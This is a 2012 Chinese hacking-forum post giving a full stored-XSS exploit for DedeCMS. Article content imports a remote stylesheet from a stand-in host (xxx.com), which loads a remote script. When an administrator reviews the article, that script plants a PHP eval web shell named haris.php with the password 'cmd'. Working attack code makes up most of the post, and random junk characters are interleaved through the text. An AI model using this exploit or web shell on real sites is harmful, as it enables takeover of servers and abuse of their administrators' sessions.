中国网络渗透测试联盟
标题:
dedecms xss oday通杀所有版本 可getshell
[打印本页]
作者:
admin
时间:
2012-9-15 13:56
标题:
dedecms xss oday通杀所有版本 可getshell
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
3 s0 ^& _- q& c7 t# A# z, g4 ~
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
+ E7 I% `0 V* C% r4 P7 N5 g! J9 ]
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
5 v1 I; x Q2 R, I1 ~* i1 c. @ k
下面说说利用方法。
) R6 z% \0 F; k8 K" B5 W3 i
条件有2个:
& q) B9 I7 N1 ~ m; N g0 n0 B
1.开启注册
& I$ `! `/ G$ |
2.开启投稿
5 ?4 _, I$ \7 l9 y
注册会员----发表文章
, _; O, N. U8 T2 E
内容填写:
. z5 ^2 }8 q/ I" ~8 @; D9 E
复制代码
. `0 n/ p$ i. k, t0 I4 s8 w
<style>@im\port'\
http://xxx.com/xss.css';
</style>
) y% v8 I7 W" G2 X+ `
新建XSS.Css
$ k9 ~( l/ R) G4 G: ^2 i' g, T
复制代码
3 l1 e, B8 K/ Q% o
.body{
7 J0 q2 ~. s* g) [* Q
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
/ P. U5 i( l5 p
新建xss.js 内容为
9 {" W% @3 O' T4 v
复制代码
5 \' ?6 _" q' Z( [4 z
1.var request = false;
2 }3 V2 [/ P* O% h- a
2.if(window.XMLHttpRequest) {
9 e' N# Y7 T7 a
3.request = new XMLHttpRequest();
. P% D7 S! }4 q4 o- U2 s# @: K
4.if(request.overrideMimeType) {
" Y3 I Q* Z1 A# C& t, e) D( i! n6 Z
5.request.overrideMimeType('text/xml');
% k$ l, R' Y9 g7 h8 `
6.}
" v8 _) q5 G$ _
7.} else if(window.ActiveXObject) {
% l2 |, u6 s: d0 T# H
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
) z+ \' D0 f( v0 x8 r7 E
9.for(var i=0; i<versions.length; i++) {
: t$ i8 B4 ^% w9 A8 J( S
10.try {
. `- i: e7 } J
11.request = new ActiveXObject(versions);
) q$ y/ b2 W- w( u/ b
12.} catch(e) {}
T& T, K2 L2 I2 s; f
13.}
: b8 Y5 Q, }/ n" D6 m
14.}
# `' V. ^- Z' |4 P; B) p
15.xmlhttp=request;
8 w+ q+ O; d) {, w% [- e! J
16.function getFolder( url ){
3 n: j0 p j7 d7 w
17. obj = url.split('/')
/ L" B% z9 I& E- x; C% j) g
18. return obj[obj.length-2]
1 {6 s7 }; H2 |, R$ R0 d
19.}
S2 n* F- B: a* J4 M* ^
20.oUrl = top.location.href;
' ~. ?) A" W8 N' X1 _- z3 ?+ g
21.u = getFolder(oUrl);
7 s! S+ W1 R( K7 a' {# L2 H
22.add_admin();
: u# p0 i6 t4 Z. H# \* U- U
23.function add_admin(){
/ D* E: _1 X% Q b3 h0 R3 o" N
24.var url= "/"+u+"/sys_sql_query.php";
. o5 s d" s+ z0 x* c* P: o
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
# x) c5 c, a# s. k1 p( z
26.xmlhttp.open("POST", url, true);
7 O4 ]* n) x% q+ _
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
" R6 f0 X- z7 r* \, }, Y# C
28.xmlhttp.setRequestHeader("Content-length", params.length);
" F+ q6 `2 u- q5 V& G+ L. {9 l! L! ~
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
& a9 M! W$ N( g4 ]. e, }2 E) {
30.xmlhttp.send(params);
0 g @9 ]" F& @. i9 K0 }/ S/ _
31.}
" T( l& ?9 d y
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2